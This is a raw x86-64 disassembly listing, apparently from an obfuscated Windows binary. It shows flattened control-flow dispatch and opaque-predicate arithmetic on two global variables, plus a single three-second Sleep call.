cmp eax, 0x8ce50a29
je 0x1401958c3
cmp eax, 0x8cff3922
jne 0x14016c950
mov eax, 0x6ea4c56c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xc690c51f
jle 0x140188596
cmp eax, 0xc8b5b2ea
jg 0x1401894ee
cmp eax, 0xc7394961
jg 0x14018b8aa
cmp eax, 0xc6d6ae9e
jg 0x14018f178
cmp eax, 0xc690c520
je 0x140195a4f
cmp eax, 0xc6cfc805
jne 0x14016c950
mov eax, 0xd5a5ec4a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa78f926a
jle 0x1401885e2
cmp eax, 0xa9769ff7
jg 0x140189666
cmp eax, 0xa91f60a9
jg 0x14018b9ba
cmp eax, 0xa8449865
jg 0x14018f2de
cmp eax, 0xa78f926b
je 0x140195bc1
cmp eax, 0xa7ecce0c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x686dcee6
and edx, 0x97923119
or edx, ebx
and edi, 0x686dcee6
and ecx, 0x97923119
or ecx, edi
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
or al, r8b
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or cl, al
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x99ea58b6
mov ebx, 0x5c02e772
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
not dl
test dl, 1
mov eax, 0x99ea58b6
jmp 0x14019f4d9
cmp eax, 0xe7d23df3
jle 0x14018862e
cmp eax, 0xeb27fff6
jg 0x140189792
cmp eax, 0xe958cc39
jg 0x14018bb6a
cmp eax, 0xe8604448
jg 0x14018f445
cmp eax, 0xe7d23df4
je 0x140195d0f
cmp eax, 0xe7d49f73
jne 0x14016c950
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x1aea9970
and ecx, edx
not edx
and edx, 0x1ac28130
and eax, 0x281840
or eax, edx
xor eax, 0x281840
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xe515668f
and ecx, 0x1aea9970
or ecx, eax
mov r8d, ecx
not r8d
mov ebx, ecx
xor ebx, 0xb3d707bc
mov edi, ebx
and edi, r8d
and ebx, ecx
mov eax, edi
not eax
mov esi, ebx
not esi
mov edx, eax
and edx, 0x5ee528c0
and edi, 0xa11ad73f
or edi, edx
or eax, esi
and esi, 0x5ee528c0
and ebx, 0xa11ad73f
or ebx, esi
xor ebx, edi
not eax
or eax, ebx
mov edx, eax
not edx
and edx, 0x156ea495
and eax, 0xea915b6a
or eax, edx
mov ebx, eax
xor ebx, 0x1000011
and r8d, 1
xor ecx, 0xfffffffe
or ecx, r8d
mov edx, ecx
not edx
and edx, 0x7840b467
and ecx, 0x87bf4b98
or ecx, edx
mov edx, ecx
xor edx, 0x83b00310
xor eax, 0xa6b9a328
xor ecx, 0x7840b467
mov edi, eax
and edi, 0x7c4f7cce
and ebx, 0x83b08331
or ebx, edi
or eax, ecx
and ecx, 0x7c4f7cce
and edx, 0x83b08331
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x79484aae
and eax, 0x86b7b551
or eax, ecx
mov ecx, eax
xor ecx, 0x2133510
xor eax, 0x48480008
and eax, 0xccec8049
and ecx, 0x33137fb6
or ecx, eax
mov eax, ecx
xor eax, 0xc8048049
xor ecx, 0x30011936
and ecx, 0x34e91936
and eax, 0xcb16e6c9
or eax, ecx
xor eax, 0xcb16e6c9
sete cl
setne r8b
cmp dword [0x1402656c4], 9
setg bl
mov edx, ebx
and dl, r8b
xor r8b, bl
or r8b, dl
mov edx, ebx
xor dl, cl
not dl
and dl, cl
or bl, cl
mov ecx, ebx
xor cl, dl
xor dl, 1
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov ebx, eax
xor bl, 1
xor al, dl
or bl, cl
xor bl, 1
or bl, al
xor bl, r8b
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x25576e2e
mov edx, 0x363dfa11
cmovne ecx, edx
test bl, 1
cmovne ecx, edx
not al
test al, 1
mov eax, 0x25576e2e
jmp 0x1401a26bd
cmp eax, 0x99f8491d
jle 0x1401887f6
cmp eax, 0x9b6517d0
jg 0x1401898a9
cmp eax, 0x9a994d13
jg 0x14018bba0
cmp eax, 0x9a5f5e83
jg 0x14018f470
cmp eax, 0x99f8491e
je 0x140195d24
cmp eax, 0x9a3b2175
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xed026dc7
and ecx, 0x12fd9238
or ecx, eax
mov eax, ecx
not eax
and eax, 0xcf01a6c5
and ecx, 0x30fe593a
or ecx, eax
mov eax, ecx
xor eax, 0xddfc34fd
mov edx, ecx
xor edx, 0xddfc34fc
and edx, eax
xor ecx, 0x2203cb02
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8a2d0693
and eax, 0x75d2f96c
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x75d2f96c
and eax, 0x8a2d0693
or eax, ecx
sete al
setne cl
cmp dword [0x1402656c4], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, bl
and al, cl
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, 1
mov eax, edx
or al, cl
xor cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x93006b47
mov ebx, 0x403f7166
cmovne ecx, ebx
test al, al
mov eax, 0x93006b47
cmovne ecx, eax
test dl, 1
cmove ecx, ebx
jmp 0x1401a26c0
cmp eax, 0xd6a159f1
jle 0x14018899c
cmp eax, 0xd8e42053
jg 0x1401898ee
cmp eax, 0xd7ff52aa
jg 0x14018bbd6
cmp eax, 0xd7b2de4e
jg 0x14018f5ff
cmp eax, 0xd6a159f2
je 0x140195e16
cmp eax, 0xd6d0a52f
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x4dec0bb6
mov edi, ecx
and edi, 0xb213f448
or edi, ebx
xor edi, 0xb213f448
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
and edx, 0xb290dbdb
and ecx, 0x4d6f2424
or ecx, edx
mov edx, ecx
xor edx, 0x4d6f2424
xor ecx, 0xb290dbdb
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor dl, 1
xor cl, 1
mov eax, edx
or al, cl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x83ffad18
mov ebx, 0xd7ff52ab
cmovne edx, ebx
test cl, cl
mov ecx, edx
mov ebx, 0x83ffad18
cmovne ecx, ebx
jmp 0x14019e40e
cmp eax, 0xb4d1aa87
jle 0x1401889e8
cmp eax, 0xb902f6a0
jg 0x1401899e2
cmp eax, 0xb588d4e8
jg 0x14018bd61
cmp eax, 0xb532438b
jg 0x14018f7cf
cmp eax, 0xb4d1aa88
je 0x140195e2f
cmp eax, 0xb50f1d93
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x11c20012
mov ecx, edi
and ecx, 0xee3dffec
or ecx, edx
mov esi, ecx
xor esi, 0x6a29ef6c
xor ecx, 0x11c20001
mov edx, ebx
or edx, 0x95d61080
and ecx, 0x95d61081
and esi, 0x6a29ef7e
or esi, ecx
and edx, 0x95d61081
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0xc8ce9039
and edx, 0x37316fc6
or edx, ecx
mov ecx, edx
xor ecx, 0x6300546
and ebx, 0x1d954be7
and edi, 0xe26ab418
or edi, ebx
mov ebx, edi
xor ebx, 0x2600418
xor edx, 0xc8ce9039
xor edi, 0x1d954be7
mov esi, edx
and esi, 0xf10ffa80
and ecx, 0xef0057f
or ecx, esi
or edx, edi
and edi, 0xf10ffa80
and ebx, 0xef0057f
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
setne r8b
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor al, bl
mov r9d, eax
xor r9b, 1
mov edx, r8d
xor dl, cl
xor dl, 1
or cl, r8b
xor cl, 1
or cl, al
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, r9d
and dl, al
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
xor dl, cl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
not al
test al, 1
mov ebx, 0x925c2051
mov eax, 0x34d0dcfe
cmovne ebx, eax
test cl, 1
mov eax, 0x925c2051
cmovne eax, ebx
jmp 0x14019e24c
cmp eax, 0xfa9f6369
jle 0x140188b53
cmp eax, 0xfc265dbd
jg 0x140189b49
cmp eax, 0xfbe3ad5b
jg 0x14018bee7
cmp eax, 0xfb43891b
jg 0x14018f947
cmp eax, 0xfa9f636a
je 0x140195e44
cmp eax, 0xfb1d8ecc
jne 0x14016c950
mov rax, qword [rbp - 0x68]
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xbfbc39a2
mov edx, ecx
xor edx, 0xbfbc39a2
and edx, ecx
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x4043c65c
and edx, 0xbfbc39a3
or edx, ebx
and edi, 0x99e79f1d
and ecx, 0x661860e2
or ecx, edi
mov ebx, ecx
xor ebx, 0x661860e2
xor ecx, 0x99e79f1d
and ecx, edx
not edx
and ebx, edx
or ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl r11b
cmp eax, 9
setg al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
not cl
and cl, bl
xor cl, 1
mov r10d, ebx
xor r10b, cl
or cl, bl
xor cl, 1
or cl, r10b
mov ebx, ecx
and bl, al
xor cl, 1
and cl, r11b
or cl, bl
and r9b, r11b
and al, r8b
or al, r9b
mov ebx, r11d
and bl, r8b
xor r11b, r8b
or r11b, bl
mov edx, r11d
xor dl, al
xor al, 1
xor dl, 1
or al, r11b
xor al, 1
or al, dl
mov r9d, ecx
xor r9b, 1
mov ebx, ecx
and bl, r9b
mov r8d, ebx
and r8b, cl
xor bl, cl
or bl, r8b
mov edx, ebx
and bl, al
xor r9b, al
xor al, 1
xor dl, 1
and dl, al
or bl, dl
or al, cl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xe0ac7810
mov edx, 0xa9f67294
cmovne ecx, edx
test al, 1
mov eax, 0xe0ac7810
jmp 0x140197760
cmp eax, 0x84b65179
jg 0x140188ce7
cmp eax, 0x82114a2a
jle 0x140189cb5
cmp eax, 0x82e31613
jg 0x14018c04f
cmp eax, 0x8279f5cf
jg 0x14018faa6
cmp eax, 0x82114a2b
je 0x140195fb5
cmp eax, 0x8219bb31
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xb8a57ae6
mov ecx, ebx
and ecx, 0x475a8518
or ecx, edx
xor ecx, 0x475a8518
mov edx, ebx
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdabab329
and edx, 0x25454cd6
or edx, ecx
mov ecx, edx
xor ecx, 0x200040d2
and edi, 0xd989f75b
and ebx, 0x267608a4
or ebx, edi
mov edi, ebx
xor edi, 0x20200080
xor edx, 0xdabab329
xor ebx, 0xd989f75b
mov esi, edx
and esi, 0x9f579f2c
and ecx, 0x60a860d3
or ecx, esi
or edx, ebx
and ebx, 0x9f579f2c
and edi, 0x60a860d3
or edi, ebx
xor edi, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
setne dl
sete al
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl cl
mov r9d, eax
xor r9b, cl
mov r8d, r9d
xor r8b, 1
and dl, cl
and bl, al
or bl, dl
and cl, al
or cl, r9b
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
and dl, bl
mov r10d, ebx
and r10b, dl
xor dl, bl
mov ecx, r8d
and cl, bl
xor bl, r8b
and r8b, r9b
xor r8b, 1
mov eax, r9d
xor al, r8b
or r8b, r9b
xor r8b, 1
or r8b, al
or dl, r10b
mov eax, r8d
xor al, 1
and al, dl
xor dl, 1
and dl, r8b
or dl, al
or bl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x86e25c8e
mov ecx, 0x4bcb2358
cmovne eax, ecx
test bl, 1
mov ecx, 0x86e25c8e
jmp 0x14019c0ca
cmp eax, 0xbca09fbc
jle 0x140189e21
cmp eax, 0xbd68ee3c
jg 0x14018c085
cmp eax, 0xbcdf7082
jg 0x14018fc19
cmp eax, 0xbca09fbd
je 0x140195fca
cmp eax, 0xbcc6c9ca
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x39e8d5eb
and edx, 0xc6172a14
or edx, ecx
mov edi, edx
xor edi, 0x214
xor edx, 0x1008404a
or ebx, 0x180c62de
mov ecx, ebx
not ecx
or edx, 0xe0c00521
and edx, 0xf0cc656b
and edi, 0x8000294
or edi, edx
and ebx, 0xf0cc656b
and ecx, 0x7339800
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xe7f39d21
and ecx, 0x180c62de
or ecx, edx
mov edx, ecx
not edx
and edx, 0x546d6293
mov ebx, ecx
and ebx, 0xab929d6c
or ebx, edx
mov edx, ebx
xor edx, 0xab929d6c
mov edi, ebx
xor edi, 0x89fcf8ac
and edi, edx
and ecx, 0x226e65c0
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0x226e65c1
and ecx, 0xdd919a3e
or ecx, edi
xor ebx, 0x140c0083
and ebx, 0x361e9d8f
mov edi, edx
and edi, 0xc9e16270
or edi, ebx
xor edi, 0x361e9d8e
and edx, 1
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xc995db8a
and edx, 0x366a2475
or edx, ebx
xor edx, 0x366a2475
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
mov ebx, edx
xor ebx, 0x9c1a9473
and ebx, edx
not edx
and edx, 0xee456332
and ecx, 0x11ba9ccd
or ecx, edx
mov edx, ecx
xor edx, 0x100a9440
xor ecx, 0x8c000032
or ecx, 0x63e56b8c
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xa1940a81
and edx, 0x1c0a9472
or edx, esi
or ecx, edi
and edi, 0xa1940a81
and ebx, 0x5e6bf57e
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x7df0de4d
and ecx, 0x820f21b2
or ecx, edx
xor ecx, 0x1e15b5c1
sete dl
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r8d, eax
xor r8b, cl
and bl, dl
and cl, al
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and dl, r8b
xor r8b, 1
and cl, r8b
or dl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x2ec72bba
mov ebx, 0x69297302
cmovne ecx, ebx
test al, 1
mov eax, 0x2ec72bba
jmp 0x1401a14d6
cmp eax, 0x9fa32250
jle 0x140189f29
cmp eax, 0xa0dd67b4
jg 0x14018c1f4
cmp eax, 0x9ffddf59
jg 0x14018fd9f
cmp eax, 0x9fa32251
je 0x140196009
cmp eax, 0x9fdb565c
jne 0x14016c950
mov eax, 0xd9144caa
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xdbbeaf47
jle 0x140189f6a
cmp eax, 0xdda85b14
jg 0x14018c2f1
cmp eax, 0xdc11ba46
jg 0x14018fdca
cmp eax, 0xdbbeaf48
je 0x140196012
cmp eax, 0xdbd28c0f
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xf3f2c0f6
and edx, ebx
not ebx
and ebx, 0x3c280e6
and ecx, 0xf0304010
or ecx, ebx
mov ebx, ecx
xor ebx, 0x30000010
xor ecx, 0xfcfbfef
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc6fd59ec
and ebx, 0x31028012
or ebx, esi
or ecx, edi
and edi, 0xc6fd59ec
and edx, 0x3902a613
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9a567513
and ecx, 0x65a98aec
or ecx, edx
mov ebx, ecx
xor ebx, 0x69a4b5e5
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xa28d422e
and edi, 0x5d72bdd0
or edi, esi
or edx, ebx
and ebx, 0xa28d422e
and ecx, 0x5d72bdd1
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5030c420
mov ebx, edx
and ebx, 0x208401db
or ebx, ecx
xor ebx, 0x208401db
and edx, 0x8f4b3a04
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x8f4b3a04
and edx, 0x70b4c5fb
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x5fc6bab4
and ecx, 0xa039454b
or ecx, edx
xor ecx, 0xa039454b
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
and dl, cl
and bl, r8b
or bl, dl
xor bl, 1
or bl, cl
mov r9d, ebx
xor r9b, 1
mov eax, ecx
xor al, r8b
not al
and al, r8b
or cl, r8b
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, ebx
and cl, r9b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
xor cl, dl
xor dl, bl
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x8b49799e
mov ebx, 0x6854708c
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x8b49799e
jmp 0x1401a14db
cmp eax, 0x9215113f
jle 0x140189fab
cmp eax, 0x92a96201
jg 0x14018c3c8
cmp eax, 0x92221c55
jg 0x14018fe23
cmp eax, 0x92151140
je 0x14019602e
cmp eax, 0x921ea30e
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x200d64ee
and ebx, ecx
or ecx, 0xdff29b11
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x782bd736
and edx, 0x420c8
or edx, esi
or ecx, edi
and edi, 0x782bd736
and ebx, 0x87d428c9
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe0e9a2f1
and ecx, 0x1f165d0e
or ecx, edx
mov ebx, ecx
xor ebx, 0xf1029c0
xor ecx, 0xc0e4c61f
mov edx, ecx
or edx, 1
mov edi, edx
not edi
and ecx, 0xf0afd433
and ebx, 0xf502bcc
or ebx, ecx
mov ecx, ebx
xor ecx, 0x4000848
xor ebx, 0xf0afd432
mov esi, edx
and esi, 0xfb7c23b7
and edi, 0x483dc48
or edi, esi
or edx, ebx
and ebx, 0xfb7c23b7
and ecx, 0x483dc48
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x95ba7ab9
and edx, 0x6a458546
or edx, ecx
xor edx, 0x6a458546
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
or al, cl
mov ecx, eax
xor cl, bl
xor cl, 1
mov edx, ebx
xor dl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
not cl
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xab41804f
mov ebx, 0x92a96202
cmovne ecx, ebx
test al, al
mov eax, ecx
mov ebx, 0xab41804f
cmovne eax, ebx
jmp 0x140199708
cmp eax, 0xcc226e38
jle 0x14018a016
cmp eax, 0xcd84b8c7
jg 0x14018c4ba
cmp eax, 0xcd584b2b
jg 0x14018ff1c
cmp eax, 0xcc226e39
je 0x1401961aa
cmp eax, 0xcd1c4a5a
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x34c200d5
and ebx, ecx
or ecx, 0xcb3dff2a
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x9533e2b6
and edx, 0x20c00041
or edx, esi
or ecx, edi
and edi, 0x9533e2b6
and ebx, 0x6acc1d49
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6959cf10
and ecx, 0x96a630ef
or ecx, edx
mov edx, ecx
xor edx, 0xa264303a
xor ecx, 0x4510cc04
and ecx, 0x4574cc0c
mov ebx, edx
and ebx, 0xba8b33f3
or ebx, ecx
mov ecx, ebx
xor ecx, 0xba8b33f3
mov edi, ebx
xor edi, 0x2d2da3ec
and edi, ecx
and edx, 0x97a6901f
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x97a6901e
and edx, 0x68596fe1
or edx, edi
xor ebx, 0x4800
and ebx, 0x220b5941
mov edi, ecx
and edi, 0xddf4a6be
or edi, ebx
xor edi, 0x220b5940
and ecx, 1
or ecx, edi
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x62019e87
and edx, ecx
and ecx, 0x9dfe6178
or ecx, ebx
mov ebx, ecx
xor ebx, 0x180e2138
xor ecx, 0x62019e87
mov edi, edx
not edi
mov esi, ecx
and esi, 0xa7f0d0c0
and ebx, 0x580f2f3f
or ebx, esi
or ecx, edi
and edi, 0xa7f0d0c0
and edx, 0x580f2f3f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
setne r9b
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
mov eax, ebx
xor al, r8b
not al
and al, r8b
or bl, r8b
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
xor r9b, cl
xor r9b, 1
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0x4603cd45
mov ebx, 0x86bb6486
cmovne ecx, ebx
test dl, 1
mov edx, ecx
mov ebx, 0x4603cd45
cmovne edx, ebx
jmp 0x14019d267
cmp eax, 0xabb2ebce
jle 0x14018a1b9
cmp eax, 0xacd451a5
jg 0x14018c4f0
cmp eax, 0xac0e0834
jg 0x140190035
cmp eax, 0xabb2ebcf
je 0x1401962bf
cmp eax, 0xabc14bb7
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea r9d, [rcx - 1]
imul r9d, ecx
mov eax, r9d
not eax
mov ecx, eax
or ecx, 0x89e96520
mov edi, ecx
not edi
mov esi, r9d
or esi, 0x12169a8c
and esi, 0x1adedf8c
mov edx, eax
and edx, 0x81212020
or edx, esi
and ecx, 0x1adedf8c
and edi, 0x64000053
or edi, ecx
xor edi, edx
mov ecx, edi
not ecx
and ecx, 0x706109eb
and edi, 0x8f9ef614
or edi, ecx
mov ebx, edi
xor ebx, 0x2079004
xor edi, 0x18006002
and edi, 0x1c706333
and ebx, 0xe38f9ccc
or ebx, edi
mov ecx, ebx
xor ecx, 0x620c1c40
xor ebx, 0x1c706333
mov edx, ebx
and edx, 0x95e3c1af
and ecx, 0x6a1c3e50
or ecx, edx
or ebx, r9d
and r9d, 0x95e3c1af
and eax, 0x6a1c3e50
or eax, r9d
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
not eax
and eax, 0xb327e287
and ebx, 0x4cd81d78
or ebx, eax
xor ebx, 0x4cd81d78
setne cl
sete r10b
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
xor cl, r10b
and cl, r10b
mov ebx, r9d
xor bl, r10b
and bl, r9b
or r9b, cl
xor cl, 1
or cl, r8b
xor cl, 1
xor r9b, 1
mov edx, ecx
and dl, r9b
xor r9b, cl
or r9b, dl
xor r8b, r10b
mov ecx, ebx
and cl, r8b
xor r8b, bl
or r8b, cl
mov ecx, r8d
xor cl, 1
mov ebx, r9d
xor bl, 1
mov edx, ebx
and dl, r9b
mov eax, r8d
and al, cl
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
xor bl, r8b
xor r8b, al
xor al, 1
or al, cl
xor al, 1
or al, r8b
xor al, dl
or cl, r9b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x43008bb5
mov ebx, 0xcdd99106
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
test dl, 1
mov eax, 0x43008bb5
jmp 0x1401a26bd
cmp eax, 0xee757e23
jle 0x14018a3cd
cmp eax, 0xefd3bb66
jg 0x14018c62d
cmp eax, 0xef913a1c
jg 0x140190108
cmp eax, 0xee757e24
je 0x1401963f1
cmp eax, 0xeedc8691
jne 0x14016c950
mov eax, 0xf1cef79c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8aad4384
jle 0x14018a4cd
cmp eax, 0x8b49799d
jg 0x14018c663
cmp eax, 0x8aebb9c3
jg 0x140190133
cmp eax, 0x8aad4385
je 0x140196547
cmp eax, 0x8adb2460
jne 0x14016c950
mov eax, 0x3db31d94
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xc3de1917
jle 0x14018a61b
cmp eax, 0xc5203e75
jg 0x14018c699
cmp eax, 0xc5118963
jg 0x14019022e
cmp eax, 0xc3de1918
je 0x14019672c
cmp eax, 0xc4f4985f
jne 0x14016c950
mov eax, 0xc7394962
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa59c850d
jle 0x14018a794
cmp eax, 0xa63321e8
jg 0x14018c7a4
cmp eax, 0xa5b51726
jg 0x140190342
cmp eax, 0xa59c850e
je 0x1401968f6
cmp eax, 0xa5a4575f
jne 0x14016c950
mov eax, 0xb39d2c0a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xe49165ac
jle 0x14018a894
cmp eax, 0xe66de1fe
jg 0x14018c903
cmp eax, 0xe5edd25d
jg 0x140190470
cmp eax, 0xe49165ad
je 0x1401969d8
cmp eax, 0xe554e2b4
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
